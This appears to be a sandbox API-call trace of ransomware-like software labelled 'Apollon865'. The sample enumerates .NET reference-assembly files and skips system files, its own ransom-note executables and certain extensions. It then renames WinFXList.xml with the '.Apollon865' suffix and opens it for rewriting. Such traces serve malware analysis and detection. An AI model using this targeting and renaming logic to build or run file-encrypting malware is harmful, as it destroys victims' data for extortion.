	[0052.586] lstrcmpiW (lpString1="lassic.dll", lpString2="Apollon865") returned 1
	[0052.586] lstrlenW (lpString=".dll") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".dll") returned 1
	[0052.586] lstrlenW (lpString=".lnk") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".lnk") returned 1
	[0052.586] lstrlenW (lpString=".ini") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".ini") returned 1
	[0052.586] lstrlenW (lpString=".sys") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Classic.dll", lpString2=".sys") returned 1
	[0052.586] lstrlenW (lpString="PresentationFramework.Classic.dll") returned 33
	[0052.586] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationFramework.dll" | out: lpString1="PresentationFramework.dll") returned="PresentationFramework.dll"
	[0052.586] lstrlenW (lpString="PresentationFramework.dll") returned 25
	[0052.586] lstrlenW (lpString="Apollon865") returned 10
	[0052.586] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0052.586] lstrlenW (lpString=".dll") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".dll") returned 1
	[0052.587] lstrlenW (lpString=".lnk") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".lnk") returned 1
	[0052.587] lstrlenW (lpString=".ini") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".ini") returned 1
	[0052.587] lstrlenW (lpString=".sys") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.dll", lpString2=".sys") returned 1
	[0052.587] lstrlenW (lpString="PresentationFramework.dll") returned 25
	[0052.587] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationFramework.Luna.dll" | out: lpString1="PresentationFramework.Luna.dll") returned="PresentationFramework.Luna.dll"
	[0052.587] lstrlenW (lpString="PresentationFramework.Luna.dll") returned 30
	[0052.587] lstrlenW (lpString="Apollon865") returned 10
	[0052.587] lstrcmpiW (lpString1="k.Luna.dll", lpString2="Apollon865") returned 1
	[0052.587] lstrlenW (lpString=".dll") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".dll") returned 1
	[0052.587] lstrlenW (lpString=".lnk") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".lnk") returned 1
	[0052.587] lstrlenW (lpString=".ini") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".ini") returned 1
	[0052.587] lstrlenW (lpString=".sys") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Luna.dll", lpString2=".sys") returned 1
	[0052.587] lstrlenW (lpString="PresentationFramework.Luna.dll") returned 30
	[0052.587] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationFramework.Royale.dll" | out: lpString1="PresentationFramework.Royale.dll") returned="PresentationFramework.Royale.dll"
	[0052.587] lstrlenW (lpString="PresentationFramework.Royale.dll") returned 32
	[0052.587] lstrlenW (lpString="Apollon865") returned 10
	[0052.587] lstrcmpiW (lpString1="Royale.dll", lpString2="Apollon865") returned 1
	[0052.587] lstrlenW (lpString=".dll") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".dll") returned 1
	[0052.587] lstrlenW (lpString=".lnk") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".lnk") returned 1
	[0052.587] lstrlenW (lpString=".ini") returned 4
	[0052.587] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".ini") returned 1
	[0052.587] lstrlenW (lpString=".sys") returned 4
	[0052.588] lstrcmpiW (lpString1="PresentationFramework.Royale.dll", lpString2=".sys") returned 1
	[0052.588] lstrlenW (lpString="PresentationFramework.Royale.dll") returned 32
	[0052.588] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="ReachFramework.dll" | out: lpString1="ReachFramework.dll") returned="ReachFramework.dll"
	[0052.588] lstrlenW (lpString="ReachFramework.dll") returned 18
	[0052.588] lstrlenW (lpString="Apollon865") returned 10
	[0052.588] lstrcmpiW (lpString1="mework.dll", lpString2="Apollon865") returned 1
	[0052.588] lstrlenW (lpString=".dll") returned 4
	[0052.588] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".dll") returned 1
	[0052.588] lstrlenW (lpString=".lnk") returned 4
	[0052.588] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".lnk") returned 1
	[0052.588] lstrlenW (lpString=".ini") returned 4
	[0052.588] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".ini") returned 1
	[0052.588] lstrlenW (lpString=".sys") returned 4
	[0052.588] lstrcmpiW (lpString1="ReachFramework.dll", lpString2=".sys") returned 1
	[0052.588] lstrlenW (lpString="ReachFramework.dll") returned 18
	[0052.588] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList"
	[0052.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5994c0
	[0052.588] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0052.588] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1
	[0052.588] lstrcmpiW (lpString1="SubsetList", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="Apollon865.txt.exe") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2=".") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="..") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="windows") returned -1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="bootmgr") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="temp") returned -1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="pagefile.sys") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="boot") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="ids.txt") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="ntuser.dat") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="perflogs") returned 1
	[0052.589] lstrcmpiW (lpString1="SubsetList", lpString2="MSBuild") returned 1
	[0052.589] lstrlenW (lpString="SubsetList") returned 10
	[0052.589] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned 79
	[0052.589] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="SubsetList" | out: lpString1="SubsetList") returned="SubsetList"
	[0052.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0052.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599568
	[0052.589] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0052.589] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="..") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="windows") returned -1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="bootmgr") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="temp") returned -1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="pagefile.sys") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="boot") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="ids.txt") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="ntuser.dat") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="perflogs") returned 1
	[0052.589] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2="MSBuild") returned 1
	[0052.590] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0052.590] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned 79
	[0052.590] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.IdentityModel.dll" | out: lpString1="System.IdentityModel.dll") returned="System.IdentityModel.dll"
	[0052.590] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0052.590] lstrlenW (lpString="Apollon865") returned 10
	[0052.590] lstrcmpiW (lpString1="yModel.dll", lpString2="Apollon865") returned 1
	[0052.590] lstrlenW (lpString=".dll") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".dll") returned 1
	[0052.590] lstrlenW (lpString=".lnk") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".lnk") returned 1
	[0052.590] lstrlenW (lpString=".ini") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".ini") returned 1
	[0052.590] lstrlenW (lpString=".sys") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.dll", lpString2=".sys") returned 1
	[0052.590] lstrlenW (lpString="System.IdentityModel.dll") returned 24
	[0052.590] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.IdentityModel.Selectors.dll" | out: lpString1="System.IdentityModel.Selectors.dll") returned="System.IdentityModel.Selectors.dll"
	[0052.590] lstrlenW (lpString="System.IdentityModel.Selectors.dll") returned 34
	[0052.590] lstrlenW (lpString="Apollon865") returned 10
	[0052.590] lstrcmpiW (lpString1="ectors.dll", lpString2="Apollon865") returned 1
	[0052.590] lstrlenW (lpString=".dll") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".dll") returned 1
	[0052.590] lstrlenW (lpString=".lnk") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".lnk") returned 1
	[0052.590] lstrlenW (lpString=".ini") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".ini") returned 1
	[0052.590] lstrlenW (lpString=".sys") returned 4
	[0052.590] lstrcmpiW (lpString1="System.IdentityModel.Selectors.dll", lpString2=".sys") returned 1
	[0052.590] lstrlenW (lpString="System.IdentityModel.Selectors.dll") returned 34
	[0052.590] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.IO.Log.dll" | out: lpString1="System.IO.Log.dll") returned="System.IO.Log.dll"
	[0052.590] lstrlenW (lpString="System.IO.Log.dll") returned 17
	[0052.590] lstrlenW (lpString="Apollon865") returned 10
	[0052.590] lstrcmpiW (lpString1="IO.Log.dll", lpString2="Apollon865") returned 1
	[0052.591] lstrlenW (lpString=".dll") returned 4
	[0052.591] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".dll") returned 1
	[0052.591] lstrlenW (lpString=".lnk") returned 4
	[0052.591] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".lnk") returned 1
	[0052.591] lstrlenW (lpString=".ini") returned 4
	[0052.591] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".ini") returned 1
	[0052.591] lstrlenW (lpString=".sys") returned 4
	[0052.591] lstrcmpiW (lpString1="System.IO.Log.dll", lpString2=".sys") returned 1
	[0052.591] lstrlenW (lpString="System.IO.Log.dll") returned 17
	[0052.591] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Printing.dll" | out: lpString1="System.Printing.dll") returned="System.Printing.dll"
	[0052.591] lstrlenW (lpString="System.Printing.dll") returned 19
	[0052.591] lstrlenW (lpString="Apollon865") returned 10
	[0052.591] lstrcmpiW (lpString1="inting.dll", lpString2="Apollon865") returned 1
	[0052.591] lstrlenW (lpString=".dll") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".dll") returned 1
	[0052.591] lstrlenW (lpString=".lnk") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".lnk") returned 1
	[0052.591] lstrlenW (lpString=".ini") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".ini") returned 1
	[0052.591] lstrlenW (lpString=".sys") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Printing.dll", lpString2=".sys") returned 1
	[0052.591] lstrlenW (lpString="System.Printing.dll") returned 19
	[0052.591] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Runtime.Serialization.dll" | out: lpString1="System.Runtime.Serialization.dll") returned="System.Runtime.Serialization.dll"
	[0052.591] lstrlenW (lpString="System.Runtime.Serialization.dll") returned 32
	[0052.591] lstrlenW (lpString="Apollon865") returned 10
	[0052.591] lstrcmpiW (lpString1="zation.dll", lpString2="Apollon865") returned 1
	[0052.591] lstrlenW (lpString=".dll") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".dll") returned 1
	[0052.591] lstrlenW (lpString=".lnk") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".lnk") returned 1
	[0052.591] lstrlenW (lpString=".ini") returned 4
	[0052.591] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".ini") returned 1
	[0052.592] lstrlenW (lpString=".sys") returned 4
	[0052.592] lstrcmpiW (lpString1="System.Runtime.Serialization.dll", lpString2=".sys") returned 1
	[0052.592] lstrlenW (lpString="System.Runtime.Serialization.dll") returned 32
	[0052.592] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.ServiceModel.dll" | out: lpString1="System.ServiceModel.dll") returned="System.ServiceModel.dll"
	[0052.592] lstrlenW (lpString="System.ServiceModel.dll") returned 23
	[0052.592] lstrlenW (lpString="Apollon865") returned 10
	[0052.592] lstrcmpiW (lpString1="eModel.dll", lpString2="Apollon865") returned 1
	[0052.592] lstrlenW (lpString=".dll") returned 4
	[0052.592] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".dll") returned 1
	[0052.592] lstrlenW (lpString=".lnk") returned 4
	[0052.592] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".lnk") returned 1
	[0052.592] lstrlenW (lpString=".ini") returned 4
	[0052.592] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".ini") returned 1
	[0052.592] lstrlenW (lpString=".sys") returned 4
	[0052.592] lstrcmpiW (lpString1="System.ServiceModel.dll", lpString2=".sys") returned 1
	[0052.592] lstrlenW (lpString="System.ServiceModel.dll") returned 23
	[0052.592] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Speech.dll" | out: lpString1="System.Speech.dll") returned="System.Speech.dll"
	[0052.592] lstrlenW (lpString="System.Speech.dll") returned 17
	[0052.592] lstrlenW (lpString="Apollon865") returned 10
	[0052.592] lstrcmpiW (lpString1="Speech.dll", lpString2="Apollon865") returned 1
	[0052.592] lstrlenW (lpString=".dll") returned 4
	[0052.592] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".dll") returned 1
	[0052.592] lstrlenW (lpString=".lnk") returned 4
	[0052.592] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".lnk") returned 1
	[0052.592] lstrlenW (lpString=".ini") returned 4
	[0052.592] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".ini") returned 1
	[0052.592] lstrlenW (lpString=".sys") returned 4
	[0052.592] lstrcmpiW (lpString1="System.Speech.dll", lpString2=".sys") returned 1
	[0052.592] lstrlenW (lpString="System.Speech.dll") returned 17
	[0052.592] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Workflow.Activities.dll" | out: lpString1="System.Workflow.Activities.dll") returned="System.Workflow.Activities.dll"
	[0052.592] lstrlenW (lpString="System.Workflow.Activities.dll") returned 30
	[0052.593] lstrlenW (lpString="Apollon865") returned 10
	[0052.593] lstrcmpiW (lpString1="vities.dll", lpString2="Apollon865") returned 1
	[0052.593] lstrlenW (lpString=".dll") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".dll") returned 1
	[0052.593] lstrlenW (lpString=".lnk") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".lnk") returned 1
	[0052.593] lstrlenW (lpString=".ini") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".ini") returned 1
	[0052.593] lstrlenW (lpString=".sys") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Activities.dll", lpString2=".sys") returned 1
	[0052.593] lstrlenW (lpString="System.Workflow.Activities.dll") returned 30
	[0052.593] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Workflow.ComponentModel.dll" | out: lpString1="System.Workflow.ComponentModel.dll") returned="System.Workflow.ComponentModel.dll"
	[0052.593] lstrlenW (lpString="System.Workflow.ComponentModel.dll") returned 34
	[0052.593] lstrlenW (lpString="Apollon865") returned 10
	[0052.593] lstrcmpiW (lpString1="tModel.dll", lpString2="Apollon865") returned 1
	[0052.593] lstrlenW (lpString=".dll") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".dll") returned 1
	[0052.593] lstrlenW (lpString=".lnk") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".lnk") returned 1
	[0052.593] lstrlenW (lpString=".ini") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".ini") returned 1
	[0052.593] lstrlenW (lpString=".sys") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.ComponentModel.dll", lpString2=".sys") returned 1
	[0052.593] lstrlenW (lpString="System.Workflow.ComponentModel.dll") returned 34
	[0052.593] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="System.Workflow.Runtime.dll" | out: lpString1="System.Workflow.Runtime.dll") returned="System.Workflow.Runtime.dll"
	[0052.593] lstrlenW (lpString="System.Workflow.Runtime.dll") returned 27
	[0052.593] lstrlenW (lpString="Apollon865") returned 10
	[0052.593] lstrcmpiW (lpString1="untime.dll", lpString2="Apollon865") returned 1
	[0052.593] lstrlenW (lpString=".dll") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".dll") returned 1
	[0052.593] lstrlenW (lpString=".lnk") returned 4
	[0052.593] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".lnk") returned 1
	[0052.593] lstrlenW (lpString=".ini") returned 4
	[0052.594] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".ini") returned 1
	[0052.594] lstrlenW (lpString=".sys") returned 4
	[0052.594] lstrcmpiW (lpString1="System.Workflow.Runtime.dll", lpString2=".sys") returned 1
	[0052.594] lstrlenW (lpString="System.Workflow.Runtime.dll") returned 27
	[0052.594] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="UIAutomationClient.dll" | out: lpString1="UIAutomationClient.dll") returned="UIAutomationClient.dll"
	[0052.594] lstrlenW (lpString="UIAutomationClient.dll") returned 22
	[0052.594] lstrlenW (lpString="Apollon865") returned 10
	[0052.594] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0052.594] lstrlenW (lpString=".dll") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".dll") returned 1
	[0052.594] lstrlenW (lpString=".lnk") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".lnk") returned 1
	[0052.594] lstrlenW (lpString=".ini") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".ini") returned 1
	[0052.594] lstrlenW (lpString=".sys") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClient.dll", lpString2=".sys") returned 1
	[0052.594] lstrlenW (lpString="UIAutomationClient.dll") returned 22
	[0052.594] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="UIAutomationClientsideProviders.dll" | out: lpString1="UIAutomationClientsideProviders.dll") returned="UIAutomationClientsideProviders.dll"
	[0052.594] lstrlenW (lpString="UIAutomationClientsideProviders.dll") returned 35
	[0052.594] lstrlenW (lpString="Apollon865") returned 10
	[0052.594] lstrcmpiW (lpString1="viders.dll", lpString2="Apollon865") returned 1
	[0052.594] lstrlenW (lpString=".dll") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".dll") returned 1
	[0052.594] lstrlenW (lpString=".lnk") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".lnk") returned 1
	[0052.594] lstrlenW (lpString=".ini") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".ini") returned 1
	[0052.594] lstrlenW (lpString=".sys") returned 4
	[0052.594] lstrcmpiW (lpString1="UIAutomationClientsideProviders.dll", lpString2=".sys") returned 1
	[0052.594] lstrlenW (lpString="UIAutomationClientsideProviders.dll") returned 35
	[0052.595] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="UIAutomationProvider.dll" | out: lpString1="UIAutomationProvider.dll") returned="UIAutomationProvider.dll"
	[0052.595] lstrlenW (lpString="UIAutomationProvider.dll") returned 24
	[0052.595] lstrlenW (lpString="Apollon865") returned 10
	[0052.595] lstrcmpiW (lpString1="ovider.dll", lpString2="Apollon865") returned 1
	[0052.595] lstrlenW (lpString=".dll") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".dll") returned 1
	[0052.595] lstrlenW (lpString=".lnk") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".lnk") returned 1
	[0052.595] lstrlenW (lpString=".ini") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".ini") returned 1
	[0052.595] lstrlenW (lpString=".sys") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationProvider.dll", lpString2=".sys") returned 1
	[0052.595] lstrlenW (lpString="UIAutomationProvider.dll") returned 24
	[0052.595] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="UIAutomationTypes.dll" | out: lpString1="UIAutomationTypes.dll") returned="UIAutomationTypes.dll"
	[0052.595] lstrlenW (lpString="UIAutomationTypes.dll") returned 21
	[0052.595] lstrlenW (lpString="Apollon865") returned 10
	[0052.595] lstrcmpiW (lpString1="nTypes.dll", lpString2="Apollon865") returned 1
	[0052.595] lstrlenW (lpString=".dll") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".dll") returned 1
	[0052.595] lstrlenW (lpString=".lnk") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".lnk") returned 1
	[0052.595] lstrlenW (lpString=".ini") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".ini") returned 1
	[0052.595] lstrlenW (lpString=".sys") returned 4
	[0052.595] lstrcmpiW (lpString1="UIAutomationTypes.dll", lpString2=".sys") returned 1
	[0052.595] lstrlenW (lpString="UIAutomationTypes.dll") returned 21
	[0052.595] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="WindowsBase.dll" | out: lpString1="WindowsBase.dll") returned="WindowsBase.dll"
	[0052.595] lstrlenW (lpString="WindowsBase.dll") returned 15
	[0052.595] lstrlenW (lpString="Apollon865") returned 10
	[0052.595] lstrcmpiW (lpString1="wsBase.dll", lpString2="Apollon865") returned 1
	[0052.595] lstrlenW (lpString=".dll") returned 4
	[0052.595] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".dll") returned 1
	[0052.595] lstrlenW (lpString=".lnk") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".lnk") returned 1
	[0052.596] lstrlenW (lpString=".ini") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".ini") returned 1
	[0052.596] lstrlenW (lpString=".sys") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsBase.dll", lpString2=".sys") returned 1
	[0052.596] lstrlenW (lpString="WindowsBase.dll") returned 15
	[0052.596] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="WindowsFormsIntegration.dll" | out: lpString1="WindowsFormsIntegration.dll") returned="WindowsFormsIntegration.dll"
	[0052.596] lstrlenW (lpString="WindowsFormsIntegration.dll") returned 27
	[0052.596] lstrlenW (lpString="Apollon865") returned 10
	[0052.596] lstrcmpiW (lpString1="ration.dll", lpString2="Apollon865") returned 1
	[0052.596] lstrlenW (lpString=".dll") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".dll") returned 1
	[0052.596] lstrlenW (lpString=".lnk") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".lnk") returned 1
	[0052.596] lstrlenW (lpString=".ini") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".ini") returned 1
	[0052.596] lstrlenW (lpString=".sys") returned 4
	[0052.596] lstrcmpiW (lpString1="WindowsFormsIntegration.dll", lpString2=".sys") returned 1
	[0052.596] lstrlenW (lpString="WindowsFormsIntegration.dll") returned 27
	[0052.596] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="WinFXList.xml" | out: lpString1="WinFXList.xml") returned="WinFXList.xml"
	[0052.596] lstrlenW (lpString="WinFXList.xml") returned 13
	[0052.596] lstrlenW (lpString="Apollon865") returned 10
	[0052.596] lstrcmpiW (lpString1="FXList.xml", lpString2="Apollon865") returned 1
	[0052.596] lstrlenW (lpString=".dll") returned 4
	[0052.596] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".dll") returned 1
	[0052.596] lstrlenW (lpString=".lnk") returned 4
	[0052.596] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".lnk") returned 1
	[0052.596] lstrlenW (lpString=".ini") returned 4
	[0052.596] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".ini") returned 1
	[0052.596] lstrlenW (lpString=".sys") returned 4
	[0052.596] lstrcmpiW (lpString1="WinFXList.xml", lpString2=".sys") returned 1
	[0052.597] lstrlenW (lpString="WinFXList.xml") returned 13
	[0052.597] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865") returned 93
	[0052.597] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.600] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2578) returned 1
	[0052.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
